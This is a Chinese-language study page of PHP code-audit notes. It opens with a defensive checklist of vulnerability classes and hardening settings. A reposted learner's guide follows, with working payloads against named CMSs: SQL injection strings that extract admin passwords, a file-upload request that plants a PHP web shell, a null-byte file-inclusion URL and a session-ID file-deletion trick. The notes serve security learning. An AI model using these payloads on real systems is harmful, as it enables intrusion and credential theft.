首页 > 代码库 > php代码审计基础笔记

php代码审计基础笔记

 

 

 

PHP代码审计

    1. 概述
    1. 输入验证和输出显示 3 
      • 2.1 命令注入 4
      • 2.2 跨站脚本 4
      • 2.3 文件包含 5
      • 2.4 代码注入 5
      • 2.5 SQL注入 6
      • 2.6 XPath注入 6
      • 2.7 HTTP响应拆分 6
      • 2.8 文件管理 6
      • 2.9 文件上传 7
      • 2.10 变量覆盖 7
      • 2.11 动态函数 7
    1. 会话安全 8 
      • 3.1 HTTPOnly设置 8
      • 3.2 domain设置 8
      • 3.3 path设置 8
      • 3.4 cookies持续时间 8
      • 3.5 secure设置 8
      • 3.6 session固定 9
      • 3.7 CSRF 9
    1. 加密 9 
      • 4.1 明文存储密码 9
      • 4.2 密码弱加密 9
      • 4.3 密码存储在攻击者能访问到的文件 9
    1. 认证和授权 10 
      • 5.1 用户认证 10
      • 5.2 函数或文件的未认证调用 10
      • 5.3 密码硬编码 10
    1. 随机函数 10 
      • 6.1 rand() 10
      • 6.2 mt_srand()和mt_rand() 11
    1. 特殊字符和多字节编码 11 
      • 7.1 多字节编码 11
    1. PHP危险函数 11 
      • 8.1 缓冲区溢出 11
      • 8.2 session_destroy()删除文件漏洞 12
      • 8.3 unset()-zend_hash_del_key_or_index漏洞 12
    1. 信息泄露 13 
      • 9.1 phpinfo 13
    1. PHP环境 13 
      • 10.1 open_basedir设置 13
      • 10.2 allow_url_fopen设置 13
      • 10.3 allow_url_include设置 13
      • 10.4 safe_mode_exec_dir设置 14
      • 10.5 magic_quote_gpc设置 14
      • 10.6 register_globals设置 14
      • 10.7 safe_mode设置 14
      • 10.8 session_use_trans_sid设置 14
      • 10.9 display_errors设置 14
      • 10.10 expose_php设置 14

1.概述

代码审核,是对应用程序源代码进行系统性检查的工作。它的目的是为了找到并且修复应用程序在开发阶段存在的一些漏洞或者程序逻辑错误,避免程序漏洞被非法利用给企业带来不必要的风险。

代码审核不是简单的检查代码,审核代码的原因是确保代码能安全的做到对信息和资源进行足够的保护,所以熟悉整个应用程序的业务流程对于控制潜在的风险是非常重要的。审核人员可以使用类似下面的问题对开发者进行访谈,来收集应用程序信息。

应用程序中包含什么类型的敏感信息,应用程序怎么保护这些信息的?

应用程序是对内提供服务,还是对外?哪些人会使用,他们都是可信用户么?

应用程序部署在哪里?

应用程序对于企业的重要性?

最好的方式是做一个checklist,让开发人员填写。Checklist能比较直观的反映应用程序的信息和开发人员所做的编码安全,它应该涵盖可能存在严重漏洞的模块,例如:数据验证、身份认证、会话管理、授权、加密、错误处理、日志、安全配置、网络架构。

2.输入验证和输出显示

大多数漏洞的形成原因主要都是未对输入数据进行安全验证或对输出数据未经过安全处理,比较严格的数据验证方式为:

  1. 对数据进行精确匹配
  2. 接受白名单的数据
  3. 拒绝黑名单的数据
  4. 对匹配黑名单的数据进行编码

在PHP中可由用户输入的变量列表如下:

  • $_SERVER
  • $_GET
  • $_POST
  • $_COOKIE
  • $_REQUEST
  • $_FILES
  • $_ENV
  • $_HTTP_COOKIE_VARS
  • $_HTTP_ENV_VARS
  • $_HTTP_GET_VARS
  • $_HTTP_POST_FILES
  • $_HTTP_POST_VARS
  • $_HTTP_SERVER_VARS

我们应该对这些输入变量进行检查

2.1 命令注入

PHP执行系统命令可以使用以下几个函数:system、exec、passthru、“、shell_exec、popen、proc_open、pcntl_exec

我们通过在全部程序文件中搜索这些函数,确定函数的参数是否会因为外部提交而改变,检查这些参数是否有经过安全处理。

防范方法:

  1. 使用自定义函数或函数库来替代外部命令的功能
  2. 使用escapeshellarg函数来处理命令参数
  3. 使用safe_mode_exec_dir指定可执行文件的路径

2.2 跨站脚本

反射型跨站常常出现在用户提交的变量接受以后经过处理,直接输出显示给客户端;存储型跨站常常出现在用户提交的变量接受过经过处理后,存储在数据库里,然后又从数据库中读取到此信息输出到客户端。输出函数经常使用:echo、print、 printf、vprintf、< %=$test%>

对于反射型跨站,因为是立即输出显示给客户端,所以应该在当前的php页面检查变量被客户提交之后有无立即显示,在这个过程中变量是否有经过安全检查。

对于存储型跨站,检查变量在输入后入库,又输出显示的这个过程中,变量是否有经过安全检查。

防范方法:

  1. 如果输入数据只包含字母和数字,那么任何特殊字符都应当阻止
  2. 对输入的数据经行严格匹配,比如邮件格式,用户名只包含英文或者中文、下划线、连字符
  3. 对输出进行HTML编码,编码规范
< < > >
( (
) )
# #
& &
” “
‘ ‘
` %60
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

2.3 文件包含

PHP可能出现文件包含的函数:include、include_once、require、require_once、show_source、highlight_file、readfile、file_get_contents、fopen、file

防范方法:

  1. 对输入数据进行精确匹配,比如根据变量的值确定语言en.php、cn.php,那么这两个文件放在同一个目录下’language/’.$_POST[‘lang’].’.php’,那么检查提交的数据是否是en或者cn是最严格的,检查是否只包含字母也不错
  2. 通过过滤参数中的/、..等字符

2.4 代码注入

PHP可能出现代码注入的函数:eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function

查找程序中程序中使用这些函数的地方,检查提交变量是否用户可控,有无做输入验证

防范方法:

  1. 输入数据精确匹配
  2. 白名单方式过滤可执行的函数

2.5 SQL注入

SQL注入因为要操作数据库,所以一般会查找SQL语句关键字:insert、delete、update、select,查看传递的变量参数是否用户可控制,有无做过安全处理

防范方法:

使用参数化查询

2.6 XPath注入

Xpath用于操作xml,我们通过搜索xpath来分析,提交给xpath函数的参数是否有经过安全处理

防范方法:

对于数据进行精确匹配

2.7 HTTP响应拆分

PHP中可导致HTTP响应拆分的情况为:使用header函数和使用$_SERVER变量。注意PHP的高版本会禁止HTTP表头中出现换行字符,这类可以直接跳过本测试。

防范方法:

  1. 精确匹配输入数据
  2. 检测输入输入中如果有\r或\n,直接拒绝

2.8 文件管理

PHP的用于文件管理的函数,如果输入变量可由用户提交,程序中也没有做数据验证,可能成为高危漏洞。我们应该在程序中搜索如下函数:copy、rmdir、unlink、delete、fwrite、chmod、fgetc、 fgetcsv、fgets、fgetss、file、file_get_contents、fread、readfile、ftruncate、 file_put_contents、fputcsv、fputs,但通常PHP中每一个文件操作函数都可能是危险的。

http://ir.php.net/manual/en/ref.filesystem.php

防范方法:

  1. 对提交数据进行严格匹配
  2. 限定文件可操作的目录

2.9 文件上传

PHP文件上传通常会使用move_uploaded_file,也可以找到文件上传的程序进行具体分析

防范方式:

  1. 使用白名单方式检测文件后缀
  2. 上传之后按时间能算法生成文件名称
  3. 上传目录脚本文件不可执行
  4. 注意%00截断

2.10 变量覆盖

PHP变量覆盖会出现在下面几种情况:

1.遍历初始化变量

例:

foreach($_GET as $key => $value)
$$key = $value;
  • 1
  • 2
  • 1
  • 2

2.函数覆盖变量:parse_str、mb_parse_str、import_request_variables

3.Register_globals=ON时,GET方式提交变量会直接覆盖

防范方法:

  1. 设置Register_globals=OFF
  2. 不要使用这些函数来获取变量

2.11 动态函数

当使用动态函数时,如果用户对变量可控,则可导致攻击者执行任意函数。

例:

< ?php $myfunc = $_GET[‘myfunc‘]; $myfunc(); ?>
  • 1
  • 1

防御方法:

不要这样使用函数

3.会话安全

3.1 HTTPOnly设置

session.cookie_httponly = ON时,客户端脚本(JavaScript等)无法访问该cookie,打开该指令可以有效预防通过XSS攻击劫持会话ID

3.2 domain设置

检查session.cookie_domain是否只包含本域,如果是父域,则其他子域能够获取本域的cookies

3.3 path设置

检查session.cookie_path,如果网站本身应用在/app,则path必须设置为/app/,才能保证安全

3.4 cookies持续时间

检查session.cookie_lifetime,如果时间设置过程过长,即使用户关闭浏览器,攻击者也会危害到帐户安全

3.5 secure设置

如果使用HTTPS,那么应该设置session.cookie_secure=ON,确保使用HTTPS来传输cookies

3.6 session固定

如果当权限级别改变时(例如核实用户名和密码后,普通用户提升到管理员),我们就应该修改即将重新生成的会话ID,否则程序会面临会话固定攻击的风险。

3.7 CSRF

跨站请求伪造攻击,是攻击者伪造一个恶意请求链接,通过各种方式让正常用户访问后,会以用户的身份执行这些恶意的请求。我们应该对比较重要的程序模块,比如修改用户密码,添加用户的功能进行审查,检查有无使用一次性令牌防御csrf攻击。

4.加密

4.1 明文存储密码

采用明文的形式存储密码会严重威胁到用户、应用程序、系统安全。

4.2 密码弱加密

使用容易破解的加密算法,MD5加密已经部分可以利用md5破解网站来破解

4.3 密码存储在攻击者能访问到的文件

例如:保存密码在txt、ini、conf、inc、xml等文件中,或者直接写在HTML注释中

5.认证和授权

5.1 用户认证

检查代码进行用户认证的位置,是否能够绕过认证,例如:登录代码可能存在表单注入。

检查登录代码有无使用验证码等,防止暴力破解的手段

5.2 函数或文件的未认证调用

一些管理页面是禁止普通用户访问的,有时开发者会忘记对这些文件进行权限验证,导致漏洞发生

某些页面使用参数调用功能,没有经过权限验证,比如index.php?action=upload

5.3 密码硬编码

有的程序会把数据库链接账号和密码,直接写到数据库链接函数中。

6.随机函数

6.1 rand()

rand()最大随机数是32767,当使用rand处理session时,攻击者很容易破解出session,建议使用mt_rand()

6.2 mt_srand()和mt_rand()

PHP4和PHP5<5.2.6,这两个函数处理数据是不安全的。在web应用中很多使用mt_rand来处理随机的session,比如密码找回功能等,这样的后果就是被攻击者恶意利用直接修改密码。

7.特殊字符和多字节编码

7.1 多字节编码

8.PHP危险函数

8.1 缓冲区溢出

confirm_phpdoc_compiled

影响版本:

phpDocumentor phpDocumentor 1.3.1

phpDocumentor phpDocumentor 1.3 RC4

phpDocumentor phpDocumentor 1.3 RC3

phpDocumentor phpDocumentor 1.2.3

phpDocumentor phpDocumentor 1.2.2

phpDocumentor phpDocumentor 1.2.1

phpDocumentor phpDocumentor 1.2

mssql_pconnect/mssql_connect

影响版本:PHP < = 4.4.6

crack_opendict

影响版本:PHP = 4.4.6

snmpget

影响版本:PHP <= 5.2.3

ibase_connect

影响版本:PHP = 4.4.6

unserialize

影响版本:PHP 5.0.2、PHP 5.0.1、PHP 5.0.0、PHP 4.3.9、PHP 4.3.8、PHP 4.3.7、PHP 4.3.6、PHP 4.3.3、PHP 4.3.2、PHP 4.3.1、PHP 4.3.0、PHP 4.2.3、PHP 4.2.2、PHP 4.2.1、PHP 4.2.0、PHP 4.2-dev、PHP 4.1.2、PHP 4.1.1、PHP 4.1.0、PHP 4.1、PHP 4.0.7、PHP 4.0.6、PHP 4.0.5、PHP 4.0.4、PHP 4.0.3pl1、PHP 4.0.3、PHP 4.0.2、PHP 4.0.1pl2、PHP 4.0.1pl1、PHP 4.0.1

8.2 session_destroy()删除文件漏洞

影响版本:不祥,需要具体测试

测试代码如下:

01  <?php
02  session_save_path(‘./’);
03  session_start();
04  if($_GET[‘del’]) {
05  session_unset();
06  session_destroy();
07  }else{
08  $_SESSION[‘do’]=1;
09  echo(session_id());
10  print_r($_SESSION);
11  }
12  ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

当我们提交cookieHPSESSIONID=/../1.php,相当于删除了此文件

8.3 unset()-zend_hash_del_key_or_index漏洞

zend_hash_del_key_or_index PHP4小于4.4.3和PHP5小于5.1.3,可能会导致zend_hash_del删除了错误的元素。当PHP的unset()函数被调用时,它会阻止变量被unset。

9.信息泄露

9.1 phpinfo

如果攻击者可以浏览到程序中调用phpinfo显示的环境信息,会为进一步攻击提供便利

10.PHP环境

10.1 open_basedir设置

open_basedir能限制应用程序能访问的目录,检查有没有对open_basedir进行设置,当然有的通过web服务器来设置,例如:apache的php_admin_value,nginx+fcgi通过conf来控制php设置

10.2 allow_url_fopen设置

如果allow_url_fopen=ON,那么php可以读取远程文件进行操作,这个容易被攻击者利用

10.3 allow_url_include设置

如果allow_url_include=ON,那么php可以包含远程文件,会导致严重漏洞

10.4 safe_mode_exec_dir设置

这个选项能控制php可调用的外部命令的目录,如果PHP程序中有调用外部命令,那么指定外部命令的目录,能控制程序的风险

10.5 magic_quote_gpc设置

这个选项能转义提交给参数中的特殊字符,建议设置magic_quote_gpc=ON

10.6 register_globals设置

开启这个选项,将导致php对所有外部提交的变量注册为全局变量,后果相当严重

10.7 safe_mode设置

safe_mode是PHP的重要安全特性,建议开启

10.8 session_use_trans_sid设置

如果启用 session.use_trans_sid,会导致 PHP 通过 URL 传递会话 ID,这样一来,攻击者就更容易劫持当前会话,或者欺骗用户使用已被攻击者控制的现有会话。

10.9 display_errors设置

如果启用此选项,PHP将输出所有的错误或警告信息,攻击者能利用这些信息获取web根路径等敏感信息

10.10 expose_php设置

如果启用 expose_php 选项,那么由 PHP 解释器生成的每个响应都会包含主机系统上所安装的 PHP 版本。了解到远程服务器上运行的 PHP 版本后,攻击者就能针对系统枚举已知的盗取手段,从而大大增加成功发动攻击的机会。

参考文档:

https://www.fortify.com/vulncat/zh_CN/vulncat/index.html

http://secinn.appspot.com/pstzine/read?issue=3&articleid=6

http://riusksk.blogbus.com/logs/51538334.html

http://www.owasp.org/index.php/Category:OWASP_Code_Review_Project

《来文来源于DoDo》

 

出处: 九零SEC
连接:http://forum.90sec.org/forum.php?mod=viewthread&tid=8059

----------------------------------------------------------
team:xdsec&90sec
author:wilson
blog:http://blog.wils0n.cn/
文章链接:wilson‘s blog_php代码审计基础笔记[求人气~~]
-------------------------------------------------------------
0x01 前言

这阵子在学php代码审计,算是一个笔记。留着以后看。
php代码审计需要比较强的代码能力以及足够的耐心.....
至于如何学好php代码审计?去膜拜p神吧....
http://wooyun.org/whitehats/phith0n
http://www.leavesongs.com/
看着p神的文章,学审计......  许多东西都是复制p神~

 

文章写给像我一样刚刚开始审计的小菜鸟~,有错欢迎指出~
求勿喷...........继续学审计中........
+++++++++++++++++++++++++++++++++++++++++++++
0x02 审计前奏
一)关注变量+函数
1.可以控制的变量【一切输入都是有害的 】
2.变量到达有利用价值的函数[危险函数] 【一切进入函数的变量是有害的】
                                                                    ------来源t00ls
客户端提交变量:
$_GET:http://localhost/mm.php?a=xxxxx
$_POST:
$_COOKIE:
    记录在我们本地浏览器中的变量,是可控的。PHP中还有一个变量$_SESSION。
    每个人访问网站,他的phpsessid都是不一样的,这个值就用来区分每个用户。服务器用PHPSESSID=cmebf7jkflu5a31vf67kbiopk4来标示每个用户,是否登录或者是否是管理员。
$_FILES:
    可能产生的漏洞类型:
    01.上传漏洞,上传一个php木马,相当于直接getshell了
    02.注入,有些cms会把name的值保存在数据库里,但又没有对name进行过滤
$_SERVER:其中部分我们可以控制。
    X-FORWARDED-FOR:IP地址,很多cms取ip是首先取这个变量中的值,如果
    没有这个变量,才去取我们的真实Ip.
    Referer:来源地址,我们访问目标页面的来源
    Host:目标网址这几个变量就是我们php中间用户可以控制的变量。
    大部分的漏洞都是 从这几个变量开始展开的。

$_REQUEST 就是$GET/$_POST/$COOKIE

要是使用了xxx框架的话,如何找到这些变量呢?
Mvc框架比较流行了
所以我去了解了一下thinkphp的mvc框架[http://blog.wils0n.cn/?id=14]
--------------------------------------------------------------------
二)关注什么样的漏洞
1.Sql注入
2.文件操作[上传/写入/读取/删除]
3.文件包含
4.命令执行
5.Xss
6.Cookie欺骗
7.逻辑出错
........等等
每种漏洞有对应找漏洞的方法,往往先找getshell的方法[1,2,3,4这三中漏洞是常见的getshell方法我们要多多关注这个]而逻辑出错也是很要命的。。。。 - -
所以我们要认识清楚漏洞原理,积累cms常出漏洞,积累找这种漏洞的技巧.....
--------------------------------------------------------------------

三)本地搭建环境测试
1.黑盒加白盒
不得不说黑盒的重要性!
Burp常开对你只要没有坏处!

2.大体看看文件的目录

3.cms安装到本地,大概了解功能,比如有注册会员功能的cms,我就注册一个会员,比如有搜索框,我就会搜索一下,大概查看一下搜索出来的内容,[恩 因为字符型都进行了转换 @ _@ 所以搜索型的很重要,有哪些数据提交点、能否留言等等] 摘自p神

技巧:最好可见在本地测试时候讲你的输入点打印出来
我会将用户的输入数据进行var_dump,重要的是对最终的sql语句进行var_dump,这和给你省去很多力气!我们只要var_dump($sql)然后再可以去黑盒测试,[比如搜索框,用户登入,文件上传名称等等]。
我审计了一个cms就是这样的,结果黑盒就发现登入处有注入,真的去审计还花了不少力气去读源码,并且学会了一个thinkphp的执行sql特点.
+++++++++++++++++++++++++++++++++++++++++++++++++++++
四)审计各种不同漏洞技巧
1.Sql注入审计技巧
sql注入是我们审计比较重视的漏洞之一

0x01 漏洞原理
所以现在很多cms都对注入进行了一定的过滤,一般有两种过滤方法:
01.对于数字型的输入,直接使用intval($_GET[id]),强制转换成整数,这种过滤是毫无办法的。
$ann_id = !empty($_REQUEST[‘ann_id‘]) ? intval($_REQUEST[‘ann_id‘]) : ‘‘;
要是没有intval($_GET[id]) 那就呵呵了。//有一个屌丝cms就是这样......
ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin)
02.有些输入是字符型的,不可能转换成数字。这个使用就使用addslashes对输入进行转义。
aaa’aa ==> aaa\’aa
aaa\aa ==> aaa\\aa
SELECT * FROM post WHERE id=’aaa\’ union select pwd from admin limit 0,1#

--------------------------------
0x02 漏洞发生

要是过滤不是上面这几中,而是黑名单,或者你欠日什么都没有过滤的话,那么很多情况下是可以注入的。所以cms随着漏洞的爆出,慢慢的这样的情况几乎都没有了


那么问题来了,在上面这种情况漏洞怎么出现?[蓝翔.....]

漏洞(一)ip没过滤直接进到sql语句
函数讲解:
getenv : 这个函数是获得环境变量的函数,也可以用来获得$_SERVER数组的信息。
getenv(‘HTTP_X_FORWARDED_FOR‘) --> $_SERVER[HTTP_X_FORWARDED_FOR]
当然http头还有referer 这也是可以伪装的,要是没有过滤好也会产生会注入问题

 

漏洞(二)宽字节注入 [对字符]
如果发现 cms是GBK 只有看看 能不能宽字节注入
Sqlmap 的unmagicquotes.py 可以进行宽字测试

 

下面摘自p神写的:浅析白盒审计中的字符编码及SQL注射.pdf
解决宽字节注入办法:
mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
到这里就一般高枕无忧了.....
但是 要是画蛇添足得使用iconv就可能出现问题了
有些cms:
会加上下面语句避免乱码
iconv(‘utf-8‘, ‘gbk‘, $_GET[‘word‘]);
将传入的word有utf-8转成gbk.....
发现錦的utf-8 编码是0xe98ca6,而的gbk 编码是0xe55c
我们输入錦‘ -->%e5%5c%27【%5c就是\】
在经过转移------>%e5%5c%5c%27【5c%5c就是\\】这样我们就有可以开心的注入了....
漏洞(三)sql二次注入
例如:p神的HDWiki二次注入

漏洞(四)文件名注入
因为$_FILE,$_SERVER不受gpc影响,那么可能造成注入.......
有些cms会把name的值保存在数据库里,但又没有对name进行过滤。
例如:p神的emlog后台注入(需要作者权限即可)
还有Thinksaas最新版注入无视GPC
http://wooyun.org/bugs/wooyun-2010-051124
--------------------------------
0x03 注入类型
1.Selcet 注入 这个常见就不说了
一般就是联查,要是报错开启也可以报错注入

2.Update 注入
p神做了一个教程关于bluecms这cms漏洞:
Get_ip() 直接用了X-FORWARDED-FOR
$sql = "UPDATE blue_user SET last_login_time = ‘$last_login_time‘, last_login_ip = ‘可控位置‘ WHERE user_id=‘$_SESSION[user_id]‘";
UPDATE blue_user SET last_login_time = ‘1394368489‘, last_login_ip = ‘8.8.8.8‘,address=(select concat(admin_name,0x23,email,0x23,pwd) from blue_admin limit 0,1), qq=‘ ‘ WHERE user_id=‘2‘
//addrress是前台可见的,而且长度够大
//p神说.....
碰到update语句中含有注入的情况,我们怎么处理?
01.跟我刚才一样,把某个可以看到的信息给更新成管理员密码,这样就获得了密码
02. 报错注入,使用某一特定的报错语句,让sql语句在执行中出错,能爆出管理员账号密码。但是有个条件,就是在执行sql语句的时候调用了 mysql_error函数,否则不会显示报错信息。比如bluecms就没有调用mysql_error,所以不能使用这个方法。

3.Insert 注入
引用了音符牛的一个文章
http://bbs.xdsec.org/?/question/310
音符的XD某套系统的代码审计第二弹:insert注入
//字符串完全没过滤,gpc为关闭
function guest_add()//添加留言
{
global $bqz,$lang;
$exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values (‘".$_POST."‘,‘".$_POST."‘,‘".$_POST."‘,‘".$_SERVER."‘,‘".$_POST."‘,‘".time()."‘)";
mysql_query($exec)||die(mysqli_error());
echo "<script>alert(‘".$lang."‘);window.location.href=http://www.mamicode.com/‘http://bbs.xdsec.org/?/guest.php‘;</script>";
}
$exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values (‘".$_POST."‘,‘".$_POST."‘,‘".$_POST."‘,‘".$_SERVER."‘,‘".$_POST."‘,‘".time()."‘)";
//没有过滤就将数据放入guest表中,guest表的内容前台可见。

 

payload:标题123‘,‘1‘,‘haha‘,‘1.1.1.1‘,(select concat(admin_name,0x23,admin_password) from xxx_admin limit 0,1),‘1314205172‘)#
其他的随便填。
则执行:
insert into xdxx_guest (title,name,email,ip,content,times) values (‘123‘,‘1‘,‘haha‘,‘1.1.1.1‘,(select concat(admin_name,0x23,admin_password) from xdxx_admin limit 0,1),‘1314205172‘)#‘,‘time()‘)
因为前台可以看到的只有name跟content,而name要用来闭合前面的单引号,所以用content字段来保存管理员的账号密码。

 

0x04技巧
技巧:最好可见在本地测试时候讲你的输入点打印出来
我会将用户的输入数据进行var_dump
重要的是对最终的sql语句进行var_dump,这和给你省去很多力气!我们只要var_dump($sql)然后再可以去黑盒测试,[比如搜索框,用户登入,文件上传名称等等]
so,还是这技巧点

=====================================================

2.xss审计技巧
Xss最常见就在留言板地方了!
1.先可以黑盒:
我们可以对fuzz,加载你的xss,payload都试试。[可以积累你的xsspayload]
然后去管理后台看看。有没有执行xss成功
学习xss:
http://www.wooyun.org/bugs/wooyun-2010-015957
心伤的瘦子专辑.......

 

2.看代码看看如何过滤了,再看看能不能绕过。
这就要靠你的本领了
但是现在可多就都过滤了
用了htmlspecialchars进行过滤, = =

 

一个tip:
不少cms会对留言者的ip进行记录。
而他们用一个具有漏洞的函数,
/**
     *
获取客户端
IP
地址
     */
    public static function getip() {
        $onlineip = ‘‘;
        if (getenv(‘HTTP_CLIENT_IP‘) && strcasecmp(getenv(‘HTTP_CLIENT_IP‘), ‘unknown‘)) {
            $onlineip = getenv(‘HTTP_CLIENT_IP‘);
        } elseif (getenv(‘HTTP_X_FORWARDED_FOR‘) && strcasecmp(getenv(‘HTTP_X_FORWARDED_FOR‘), ‘unknown‘)) {
            $onlineip = getenv(‘HTTP_X_FORWARDED_FOR‘);
        } elseif (getenv(‘REMOTE_ADDR‘) && strcasecmp(getenv(‘REMOTE_ADDR‘), ‘unknown‘)) {
            $onlineip = getenv(‘REMOTE_ADDR‘);
        } elseif (isset($_SERVER[‘REMOTE_ADDR‘]) && $_SERVER[‘REMOTE_ADDR‘] && strcasecmp($_SERVER[‘REMOTE_ADDR‘], ‘unknown‘)) {
            $onlineip = $_SERVER[‘REMOTE_ADDR‘];
        }
        return $onlineip;
  
}
当HTTP_X_FORWARDED_FOR存在时获取的IP就是它,但是HTTP_X_FORWARDED_FOR是可以伪造的
但是存ip的字段,有是比较小的。我们去看看p神如何绕过
http://wooyun.org/bugs/wooyun-2010-045687
我只能说,吊死了  = =
请收下我的膝盖......

 

3.Xss利用
现在应该大多都是x管理员的cookie吧。
再次膜拜一下p神的审计能力,xss的作用可以getshell的
http://wooyun.org/bugs/wooyun-2010-063052
我们可以利用js来发送post包,利用管理员权限去得到getshell


$.ajax({ "url": "网址", "type": "POST","data":"POST的内容" })

我也是刚刚知道这个知识 搞定一个cms.......
=====================================================
3.文件包含漏洞审计技巧
文件包含漏洞
看音符大牛的文章
https://www.t00ls.net/thread-26571-1-3.html
1.截断技巧
%00和230个/
2.远程包含
allow_url_fopen = On并且allow_url_include = On时,则可以包含远程文件
3.一个出问题的cms
Yxcms给音符牛日穿了
https://www.t00ls.net/viewthread.php?tid=27266&highlight=yxcms
payload:http://test.com/cms//YXcmsApp1.2.3/index.php?r=..\..\upload\member\image\20140504\thumb_1399213415.jpg%00

 

=====================================================

4.命令执行审计技巧

没有什么技巧
0x01 搜索可以执行php代码的函数
Eval,assert....
0x02 搜索可以执行系统命令的函数
system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(<strong>反单引号</strong>)....

 

=====================================================
5.文件操作审计技巧
    5.1 .两个小知识,一个tip
    1.
        $_FILES["file"]["name"] - 被上传文件的名称
        $_FILES["file"]["type"] - 被上传文件的类型
        $_FILES["file"]["size"] - 被上传文件的大小,以字节计
        $_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
        $_FILES["file"]["error"] - 由文件上传导致的错误代码
    2.
        文件上传的过程:
        01.用户选择文件,点击上传
        02.服务器接收到文件,然后将文件保存在临时目录内
        03.php对文件类型、后缀等内容检查,检查通过后移动到web目录下

 

    tip:
    将var_dump($FILE[]);
    然后试试黑盒审计吧
    注意一点 如果文件名进入数据库也有可能造成注入的。
    因为$_FILE不受gpc影响[之前也提过了]


--------------

5.2文件上传漏洞    来自[+]上传攻击总结.pdf[这极好的文章]

    1.javascript上传检测
    ....直接无视
    用burp改一下就好了
    2.mime上传文件类型
    例如:BlueCMS(地方分类信息门户专用CMS系统)
    include/upload.class.php发现,只是检测了文件头,没有检测后缀.
class upload {
    private $allow_image_type = array(‘image/jpg‘, ‘image/gif‘, ‘image/png‘, ‘image/pjpeg‘);
......
    function img_upload($file, $dir = ‘‘, $imgname = ‘‘){
        if(empty($dir)){
            $dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";
        }else{
            $dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";
        }
   
        if(!file_exists($dir)){
            if(!mkdir($dir)){
                showmsg(‘上传过程中创建目录失败‘);
            }
        }
        if(empty($imgname)){
            $imgname = $this->create_tempname().$this->get_type($file[‘name‘]);
        }
        $imgname = $dir . $imgname;
        if(!in_array($file[‘type‘],$this->allow_image_type)){
             //只是检测了文件头部来着,那我们就直接构造一个SHELL就好了
            showmsg(‘不允许的图片类型‘);
        }
}

Payload:
            然后我们可以将request 包的Content-Type 修改
            POST /upload.php HTTP/1.1
            TE: deflate,gzip;q=0.3
            Connection: TE, close
            Host: localhost
            User-Agent: libwww-perl/5.803
            Content-Type: multipart/form-data; boundary=xYzZY
            Content-Length: 155
            --xYzZY
            Content-Disposition: form-data; name="userfile"; filename="shell.php"
            Content-Type: image/gif (原为Content-Type: text/plain)//$_FILES["file"]["type"]
            <?php system($_GET[‘command‘]);?>
            --xYzZY--

 3.服务器检测绕过(目录路径检测)
            Filename 可以控制,直接进行%00截断看看能不能搞定

     4.文件名检测
            下面就是去检测:$_FILES["file"]["name"]
            再次注意:如果文件名进入数据库也有可能造成注入的。

            1)黑名单上传

 

            各种测试 这里我们看代码就可以了。

 

            我们可以看看能不能

 

            1.大小写绕过

 

            2.黑名单外的危险脚本[htaccess 文件攻击]

 

            3.解析漏洞结合

 

            4.利用windows特性绕过

 

            雨牛的文章: https://forum.90sec.org/forum.php?mod=viewthread&tid=7806

 

            phpdisk使用了黑名单

 

            可以用加空格来绕过

 

            另外大牛又给出了

 

            提交.php::$data 这样就不会匹配到黑名单中了。 这种想法,感觉自己有学习了....

 

            2)白名单上传

 

            1. 0x00 截断绕过

 

            用像test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑

 

            漏洞进行攻击,目前我只遇到过asp 的程序有这种漏洞

 

            2. 解析调用/漏洞绕过

 

            这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞

        
    5.文件上传逻辑漏洞
            http://www.leavesongs.com/PENETRATION/after-phpcms-upload-vul.html
            不得不又一次膜拜p神......
            文件上传,支持zip上传,但是这个phpcms没有对子目录下的文件,进行验证。导致getshell
            而且有了一个竞争上传的概念。。。。
            文件是先在服务器存在了,然后再验证文件名的可靠性。不合法就删除。那就出现问题了,在存在时候,我们可以一整去访问这个php,而这个php的功能就是写马。这样就可以成功getshell了。。。。

5.4.文件下载

 

        求补充

 

5.3 文件写入。文件删除

 

        求补充

 

=====================================================

 

6.逻辑出错审计技巧

 

很多程序有逻辑出错的情况.....

 

1.程序没有及时结束[die]

 

http://www.wooyun.org/bugs/wooyun-2010-063019

 

Ducms就是/install/install.php

 

没有及时结束

 

给p神 利用一个外链的mysql 绕过限制 加入一个admin账户。。。

 

http://wooyun.org/bugs/wooyun-2010-045143

 

还有一个直接写入配置文件的StartBBS重安装getshell也是因为这个原因

 

除了安装可能出现这种情况

 

Admin目录下也可能这样

 

判定不是admin就跳转,但是php代码是继续执行没有及时结束的

 

2.admin登入口检查有问题

 

认证太奇葩...

 

3.找回密码可能出现漏洞

 

4.验证码重用,造成爆破

 

漏洞类型还要很多.....

php代码审计基础笔记